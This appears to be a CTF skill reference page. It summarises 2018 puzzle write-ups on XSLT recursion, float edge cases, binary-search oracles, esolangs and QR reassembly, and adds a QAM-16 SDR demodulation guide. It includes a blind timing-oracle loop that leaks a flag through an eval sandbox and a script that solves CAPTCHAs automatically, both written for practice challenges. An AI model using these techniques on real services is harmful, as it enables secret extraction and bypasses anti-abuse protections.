Additional CTF-era challenges extracted from 2018+ writeups. For earlier parts, see games-and-vms.md, games-and-vms-2.md, and games-and-vms-3.md.
Table of Contents
- XSLT as Turing-Complete VM for Binary Search (35C3 2018)
- JavaScript MAX_SAFE_INTEGER Successor Equality (35C3 2018)
- Binary Search Oracle in Comparison-Only DSL (35C3 2018)
- Blind SQLi via Script-Engine Timeout Error (35C3 2018)
- OEIS Sequence Lookup Automation for Recurrence Puzzles (X-MAS CTF 2018)
- QR Code Reassembly from Format-String Structural Constraints (Square CTF 2018)
- Matrix Exponentiation for Fibonacci-Like Recurrence (Pwn2Win 2018)
- Tribonacci Recurrence for Frog Jump Counting (FireShell 2019)
- Selenium + Tesseract for Dynamic Font CAPTCHA (Square CTF 2018)
- Brainfuck Decodes Piet Image URL — Multi-Layer Polyglot (RITSEC 2018)
- Bytebeat Synth Code Recognition for Hidden Audio (RITSEC 2018)
---
XSLT as Turing-Complete VM for Binary Search (35C3 2018)
Pattern: Challenge only executes XSLT templates. <xsl:choose>, <xsl:call-template> with recursion, and <xsl:variable> form a full Turing-complete runtime with a stack. Encode a binary-search oracle: <drinks> elements hold the stack, <plate> elements are instructions, <course> blocks act as labels.
<xsl:template name="step">
<xsl:param name="lo"/><xsl:param name="hi"/>
<xsl:variable name="mid" select="($lo + $hi) div 2"/>
<xsl:choose>
<xsl:when test="$target = $mid">...found...</xsl:when>
<xsl:when test="$target < $mid">
<xsl:call-template name="step">
<xsl:with-param name="lo" select="$lo"/>
<xsl:with-param name="hi" select="$mid"/>
</xsl:call-template>
</xsl:when>
...
</xsl:choose>
</xsl:template>Key insight: Any "pure template" language with named recursion and conditionals is a VM. Build a primitive (binary search, bit extraction, state accumulator) out of its native constructs before trying to escape the sandbox.
References: 35C3 CTF 2018 — Juggle, writeup 12803
---
JavaScript MAX_SAFE_INTEGER Successor Equality (35C3 2018)
Pattern: Challenge asserts x !== x + 1. For x = Number.MAX_SAFE_INTEGER + 1 === 9007199254740992, IEEE 754 rounding makes x + 1 === x true, so the assertion passes and the check is bypassed.
let x = 9007199254740992; // 2^53
console.log(x === x + 1); // trueKey insight: Any numeric invariant that compares n to n + 1 fails at the float boundary. Test with 2^53, Infinity, NaN, and -0 === 0 combinations when a JS check looks like it's making assumptions about arithmetic.
References: 35C3 CTF 2018 — Number Error, writeup 12828
---
Binary Search Oracle in Comparison-Only DSL (35C3 2018)
Pattern: Challenge DSL only exposes comparisons against a secret value. Convert it into a full oracle by subtracting decreasing powers of two (2^30, 2^29, ..., 2^0) from an initial guess, adding whenever the comparison reports "less than" and subtracting when "greater than".
guess = 0
for shift in range(30, -1, -1):
guess += 1 << shift
if oracle(guess) > 0: # guess too high
guess -= 1 << shiftKey insight: Any boolean comparator gives you binary search in O(log N) queries. The same trick collapses any comparison-based leak — regex match, timing channel, HTTP status code — into the full value.
References: 35C3 CTF 2018 — Juggle, writeup 12803
---
Blind SQLi via Script-Engine Timeout Error (35C3 2018)
Pattern: Server evaluates eval of a user-supplied snippet with a tight timeout. Wrap the payload in if charAt(FLAG, pos) == '?' then pause(10000) end — correct characters hang until the timeout triggers an error; wrong characters return instantly. Treat the timeout as a truthy bit.
-- blind timing oracle in Lua eval sandbox
for c in printable do
send(("if charAt(FLAG, %d) == '%s' then pause(10000) end"):format(i, c))
if response_time > 5 then flag = flag .. c; break end
endKey insight: Script-eval services with timeouts are stateful oracles: any long-running expression leaks a boolean via the wall-clock difference between timeout and instant return.
References: 35C3 CTF 2018 — dev/null, writeups 12830, 12871
---
OEIS Sequence Lookup Automation for Recurrence Puzzles (X-MAS CTF 2018)
Pattern: Server asks for the next term in a mathematical sequence. Automate the lookup: query https://oeis.org/search?q=1,1,2,5,14, parse the first result with pyquery, extract the Next term, send it back. Wrap around a MD5 captcha brute force for PoW-protected services.
import requests
from pyquery import PyQuery as pq
r = requests.get('https://oeis.org/search', params={'q': ','.join(map(str, seq))})
doc = pq(r.text)
next_term = doc('pre').eq(1).text().split(',')[len(seq)]Key insight: Any integer-sequence puzzle is solved in one HTTP request via OEIS. The hard part is the wrapper (captcha, PoW, socket framing) — automate that once and the math stops being the bottleneck.
References: X-MAS CTF 2018 — A Weird List of Sequences, writeup 12683
---
QR Code Reassembly from Format-String Structural Constraints (Square CTF 2018)
Pattern: Challenge ships shredded 1-pixel columns of a QR code. Instead of brute-forcing 21! permutations, anchor on QR invariants: the three finder patterns, the timing pattern between them, the fixed dark module, and the 15-bit format string at column 8 has only 32 valid values (EC level × mask pattern). Filter slices by structural constraints, then permute only the remaining few.
wanted_formats = load_32_valid_qr_formats()
for col in slices:
if col[:7] in wanted_formats_column_8:
candidate_cols.append(col)
for perm in itertools.permutations(candidate_cols):
if decode_qr(np.stack(perm)):
return permKey insight: Format-specific constraints collapse permutation spaces. QR Version 1 has only 32 possible format strings; anchor on them to prune before brute-forcing.
References: Square CTF 2018 — C3: Shredded, writeup 12331
---
Matrix Exponentiation for Fibonacci-Like Recurrence (Pwn2Win 2018)
Pattern: Challenge asks for the N-th term of a recurrence a_{n+1} = f(a_n, a_{n-1}) with N up to 10^12. Naive iteration is impossible. Write the update as a 2×2 matrix product [a_{n+1}; a_n] = M * [a_n; a_{n-1}] and compute M^N in O(log N) with binary exponentiation.
MOD = 10**9 + 7
def matmult(a, b):
return ((a[0]*b[0] + a[1]*b[2]) % MOD, (a[0]*b[1] + a[1]*b[3]) % MOD,
(a[2]*b[0] + a[3]*b[2]) % MOD, (a[2]*b[1] + a[3]*b[3]) % MOD)
def matpow(M, n):
R = (1,0,0,1)
while n:
if n & 1: R = matmult(R, M)
M = matmult(M, M); n >>= 1
return RKey insight: Any linear recurrence over a ring is reducible to matrix exponentiation. Use it whenever the challenge exposes a giant N for a classical-looking sequence — Fibonacci, Tribonacci, Lucas, linear Pisano, RNG counters.
References: Pwn2Win CTF 2018 — Too Slow, writeup 12501
---
Tribonacci Recurrence for Frog Jump Counting (FireShell 2019)
Pattern: A proof-of-work handshake asks how many ways a frog can reach step N if it can jump 1, 2, or 3 steps. That is f(N) = f(N-1) + f(N-2) + f(N-3) — the Tribonacci sequence. Precompute modulo the server's modulus; for large N, combine with matrix exponentiation above.
def tribonacci(N, MOD=13371337):
a, b, c = 0, 0, 1
for _ in range(N):
a, b, c = b, c, (a + b + c) % MOD
return cKey insight: "Number of ways to climb N stairs with step sizes {1..k}" is always a linear recurrence. Memoize up to the server's max N, cache across requests, and keep the tribonacci identity in mind when the challenge text mentions "frog".
References: FireShell CTF 2019 — Frogs, writeup 12961
---
Selenium + Tesseract for Dynamic Font CAPTCHA (Square CTF 2018)
Pattern: A CAPTCHA generates math expressions with a random glyph font and rerenders every 5 seconds. Full-window screenshots via Selenium feed Tesseract OCR; clean up Tesseract's common confusions (x→*, {→() before eval().
from selenium import webdriver
from PIL import Image
import pytesseract, io
d = webdriver.Chrome()
d.get(URL); d.execute_script("document.body.style.zoom='450%'")
img = Image.open(io.BytesIO(d.get_screenshot_as_png()))
expr = pytesseract.image_to_string(img).replace('x','*').replace('{','(').replace('}',')')
d.execute_script(f"document.getElementsByName('answer')[0].value={eval(expr)}")
d.find_element_by_tag_name('form').submit()Key insight: Dynamic CAPTCHAs are often too short-lived for manual solves but trivial for a 1-second Selenium + Tesseract loop. When OCR alone fails, pair it with a cmap reference library (see ctf-osint/web-and-dns.md).
References: Square CTF 2018 — C8, writeups 12160, 12178
---
Brainfuck Decodes Piet Image URL — Multi-Layer Polyglot (RITSEC 2018)
Pattern: Recognise the three most common esolangs stacked together: Brainfuck source outputs a YouTube URL, the video's thumbnail border is a Piet program whose execution prints the flag. Use bf → yt-dlp → strip border pixels → npiet pipeline.
bf puzzle.bf # prints youtube.com/watch?v=XXXX
yt-dlp -x --write-thumbnail "$URL" # grabs JPG thumbnail
python crop_border.py thumb.jpg > piet.png
npiet piet.png # prints the flagKey insight: Multi-layer esolangs are recognisable by eye: Brainfuck is +-<>.,[], Piet is colored block grids, Whitespace is invisible. If a challenge description mentions multiple "weird" formats, pipeline the decoders in order.
References: RITSEC CTF 2018 — writeup 12224
---
Bytebeat Synth Code Recognition for Hidden Audio (RITSEC 2018)
Pattern: A short C-like one-liner is bytebeat — a generative music format where t is a monotonic sample counter. Paste into an online interpreter (http://wry.me/bytebeat/) to hear it; the resulting tune is a recognizable song whose title is the flag.
/* Bytebeat example: output byte = low 8 bits of this expression */
(t * ((t >> 12 | t >> 8) & 63 & t >> 4))Key insight: Recognise bytebeat by (a) a t variable, (b) bitshifts mixed with modulo, (c) output of size 8-bit unsigned integer. %, |, &, ^, >>, << on t are the bytebeat signature. No decoding needed — just play it.
References: RITSEC CTF 2018 — writeups 12261, 12268
---
CTF Misc - RF / SDR / IQ Signal Processing
Techniques for Software-Defined Radio (SDR) signal processing using In-phase/Quadrature (IQ) data.
IQ File Formats
- cf32 (complex float 32): GNU Radio standard,
np.fromfile(path, dtype=np.complex64) - cs16 (complex signed 16-bit):
np.fromfile(path, dtype=np.int16).reshape(-1,2), thenI + jQ - cu8 (complex unsigned 8-bit): RTL-SDR raw format
Analysis Pipeline
import numpy as np
from scipy import signal
# 1. Load IQ data
iq = np.fromfile('signal.cf32', dtype=np.complex64)
# 2. Spectrum analysis - find occupied bands
fft_data = np.fft.fftshift(np.fft.fft(iq[:4096]))
freqs = np.fft.fftshift(np.fft.fftfreq(4096))
power_db = 20*np.log10(np.abs(fft_data)+1e-10)
# 3. Identify symbol rate via cyclostationary analysis
x2 = np.abs(iq_filtered)**2 # squared magnitude
fft_x2 = np.abs(np.fft.fft(x2, n=65536))
# Peak in fft_x2 = symbol rate (samples_per_symbol = 1/peak_freq)
# 4. Frequency shift to baseband
center_freq = 0.14 # normalized frequency of band center
t = np.arange(len(iq))
baseband = iq * np.exp(-2j * np.pi * center_freq * t)
# 5. Low-pass filter to isolate band
lpf = signal.firwin(101, bandwidth/2, fs=1.0)
filtered = signal.lfilter(lpf, 1.0, baseband)QAM-16 Demodulation with Carrier + Timing Recovery
QAM-16 (Quadrature Amplitude Modulation) — the key challenge is carrier frequency offset causing constellation rotation (circles instead of points).
Decision-directed carrier recovery + Mueller-Muller timing:
# Loop parameters (2nd order PLL)
carrier_bw = 0.02 # wider BW = faster tracking, more noise
damping = 1.0
theta_n = carrier_bw / (damping + 1/(4*damping))
Kp = 2 * damping * theta_n # proportional gain
Ki = theta_n ** 2 # integral gain
carrier_phase = 0.0
carrier_freq = 0.0
for each symbol sample:
# De-rotate by current phase estimate
symbol = raw_sample * np.exp(-1j * carrier_phase)
# Find nearest constellation point (decision)
nearest = min(constellation, key=lambda p: abs(symbol - p))
# Phase error (decision-directed)
error = np.imag(symbol * np.conj(nearest)) / (abs(nearest)**2 + 0.1)
# Update 2nd order loop
carrier_freq += Ki * error
carrier_phase += Kp * error + carrier_freqMueller-Muller timing error detector:
timing_error = (Re(y[n]-y[n-1]) * Re(d[n-1]) - Re(d[n]-d[n-1]) * Re(y[n-1]))
+ (Im(y[n]-y[n-1]) * Im(d[n-1]) - Im(d[n]-d[n-1]) * Im(y[n-1]))
# y = received symbol, d = decision (nearest constellation point)Key Insights for RF CTF Challenges
- Circles in constellation = constant frequency offset (points rotate at fixed rate, forming a ring)
- Spirals = frequency offset that drifts over time (ring radius changes as amplitude/AGC also drifts). If you see points tracing outward arcs rather than closed circles, suspect combined frequency + gain instability
- Blobs on grid = correct sync, just noise
- 4-fold ambiguity: DD carrier recovery can lock with 0/90/180/270 rotation - try all 4
- Bandwidth vs symbol rate: BW = Rs x (1 + alpha), where alpha is roll-off factor (0 to 1)
- RC vs RRC: "RC pulse shaping" at TX means receiver just samples (no matched filter needed); "RRC" means apply matched RRC filter at RX
- Cyclostationary peak at Rs confirms symbol rate even without knowing modulation order
- AGC: normalize signal power to match constellation power:
scale = sqrt(target_power / measured_power) - GNU Radio's QAM-16 default mapping is NOT Gray code - always check the provided constellation map
Common Framing Patterns
- Idle/sync pattern repeating while link is idle
- Start delimiter (often a single symbol like 0)
- Data payload (nibble pairs for QAM-16: high nibble first, low nibble)
- End delimiter (same as start, e.g., 0)
- The idle pattern itself may contain the delimiter value - distinguish by context (is it part of the 16-symbol repeating pattern?)
Related skills
How it compares
Pick ctf-misc for known bash-jail misc challenges; pick solve-challenge when the CTF category is still unknown.
FAQ
What does ctf-misc do?
Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric languages, QR or aud
When should I invoke ctf-misc?
Provides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric languages, QR or aud
Where is the source documentation?
Ground claims in SKILL.md excerpts and linked reference files from the cached docs.
Is Ctf Misc safe to install?
skills.sh reports 1 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.